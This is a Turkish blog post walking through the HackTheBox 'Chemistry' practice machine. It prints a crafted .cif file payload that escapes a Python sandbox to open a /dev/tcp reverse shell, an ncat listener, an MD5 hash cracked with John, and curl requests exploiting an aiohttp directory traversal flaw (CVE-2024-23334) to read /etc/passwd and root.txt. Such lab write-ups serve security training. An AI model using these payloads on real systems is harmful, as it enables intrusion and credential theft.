Siber Güvenlik Portalı

  1. Anasayfa
  2. »
  3. CTF ÇÖZÜMLERİ
  4. »
  5. HackTheBox Chemistry Çözümü

HackTheBox Chemistry Çözümü

Siber Güvenlik Portalı Siber Güvenlik Portalı - - 5 dk okuma süresi
106 0

HackTheBox Chemistry Çözümü

Bu rehberde, HackTheBox platformunda yer alan Chemistry makinesinin çözüm adımlarını detaylıca ele alacağız. Her aşamada kullanılan araçlar ve yöntemlerle, makinenin nasıl ele geçirileceğini açıklıyoruz.

  • Oda Linki: Chemistry
  • Zorluk: Başlangıç-Orta

1.Nmap Taraması

İlk adım olarak bir nmap taraması gerçekleştiriyoruz. Bu tarama sonucunda 22 (SSH) ve 5000 (HTTP) portlarının açık olduğunu tespit ettik. HTTP servisine dair detaylı incelemeler sonucunda, sunucunun Werkzeug/3.0.3 framework’ü ile çalıştığını anlıyoruz.

2. Gobuster ile Dizin Taraması

Gobuster kullanarak web sunucusundaki dizinleri taradık. Tarama sonucunda /upload, /login ve /register gibi dizinleri tespit ettik. Bu noktada, özellikle /upload dizininin dosya yükleme imkanı sunduğunu fark ediyoruz. Bu, bir reverse shell yükleme fırsatı sunabilir.

İlginizi çekebilecek yazımız: eJPT Sınav Rehberi: Hazırlık Süreci, Araçlar ve Deneyimler

3. Nikto ile Güvenlik Taraması

Nikto aracıyla yapılan güvenlik taramasında kayda değer bir sonuç bulamadık. Bunun üzerine doğrudan siteye yöneliyoruz.

4. Kullanıcı Oluşturma ve Giriş

5000 portu üzerinde çalışan web sitesine eriştiğimizde, bir Register (kayıt) sayfası karşımıza çıktı. Rastgele bir kullanıcı oluşturup, ardından Login (giriş) ekranından sisteme giriş yaptık.

5. Dosya Yükleme ile Shell Elde Etme

Sistemde, .cif uzantılı dosyaların yüklenmesine izin verildiğini fark ettik. Bir reverse shell bağlantısı oluşturmak için bir .cif dosyasını düzenleyip yükledik. Aşağıdaki komutları kullanarak, kendi VPN adresinizi ve port numaranızı dosyaya ekleyin:

H 0.00000 0.00000 0.00000 1 O 0.50000 0.50000 0.50000 1 _space_group_magn.transform_BNS_Pp_abc ‘a,b,[d for d in ().__class__.__mro__[1].__getattribute__(* [().__class__.__mro__[1]]+[“__sub” + “classes__”])() if d.__name__ == “BuiltinImporter”][0]. load_module(“os”).system(“/bin/bash -c ‘sh -i >& /dev/tcp/kendivpnadresiniz/9001 0>&1′”);0,0,0’

Dosyayı düzenledikten sonra yükledik ve bağlantıyı kontrol ettik. ncat kullanarak bağlantıyı dinlemeye başladık:

ncat -lvnp 9001 

6. Shell Bağlantısı

Shell.cif view kısmına tıkladığınızda terminale bağlantısı gelmesi lazım.

Not: ncat -lvnp 9001 diyerek önceden dinlemeyi başlatmanız gerekiyor.

7.Veri Tabanı Bilgilerine Erişim

Shell üzerinden, /home/app/instance/ dizinine geçtik ve burada yer alan database.db dosyasını inceliyoruz. 

  Bu işlem sonucunda başka bir kullanıcı olan rosa ve ona ait bir MD5 şifresi bulduk.

HackTheBox Chemistry Çözümü

8. MD5 Hash Kırma

  • echo “63ed86ee9f624c7b14f1d4f43dc251a5” > hash.txt
  • john –format=raw-md5 –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Kırma işlemi sonucunda şifreyi unicorniosrosados olarak tespit ettik.

HackTheBox Chemistry Çözümü

9.SSH ile Rosa Kullanıcısına Giriş

Elde ettiğimiz bilgilerle SSH üzerinden rosa kullanıcısına giriş yaptık.

HackTheBox Chemistry Çözümü

10.Yetki Yükseltme Hazırlıkları

Sistemde linpeas.sh çalıştırarak detaylı bir tarama yaptık. Tarama sonucunda, localhost üzerinde çalışan bir servisin (8080 portu) yetki yükseltmek için kullanılabileceğini öğrendik.

11.Port Yönlendirme

– ssh -L 6666:localhost:8080 [email protected] olarak port yönlendirmesini yapıyoruz. 

Tekrar rosa şifresi ile girişi yaptık. 

netstat ile kontrol edebilirsiniz listen olarak görmeniz gerekiyor. 

12.Site Keşfi

curl -s localhost:8080 yaptığımızda karşımıza site’nin kodları geliyor detaylı inceleme başlıyorum. 

Dizin taraması yaptığımda sadece /assets dizini olduğunu tespit ettim. 

Server bilgisiyse aiohttp/3.9.1 olduğunu tespit ettim. Araştırdığımda cve-2024-23334 olarak directory traversal açığı olduğunu gördüm. 

HackTheBox Chemistry Çözümü

13. Directory Traversal Zafiyeti

curl -s –path-as-is http://localhost:8080/assets/../../../../etc/passwd baktığımızda aktif olarak açığın olduğunu kesin tespit etmiş olduk. Şimdi direkt root.txt flagını tespit etmeye çalışacağız.

HackTheBox Chemistry Çözümü

14. Root ve User Bayraklarını Ele Geçirme

Zafiyetten yararlanarak root bayrağına ulaştık: 

curl -s –path-as-is http://localhost:8080/assets/../../../../root/root.txt

cat /home/rosa/user.txt
de yazarak user.txt diyerek bayrağı tespit ettik. 

HackTheBox Chemistry Çözümü

Sonuç

Bu rehberde, HackTheBox Chemistry Çözümü başarıyla tamamladık. Kullanılan araçlar ve yöntemler sayesinde hem kullanıcı hem de root erişimi elde ettik. Süreç boyunca dikkat edilmesi gereken noktalar:

  • Dosya yükleme zafiyetleri,
  • MD5 hash kırma yöntemleri,
  • Port yönlendirme teknikleri,
  • Directory traversal açıkları.

Herkese başarılar…

İlgili Yazılar

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir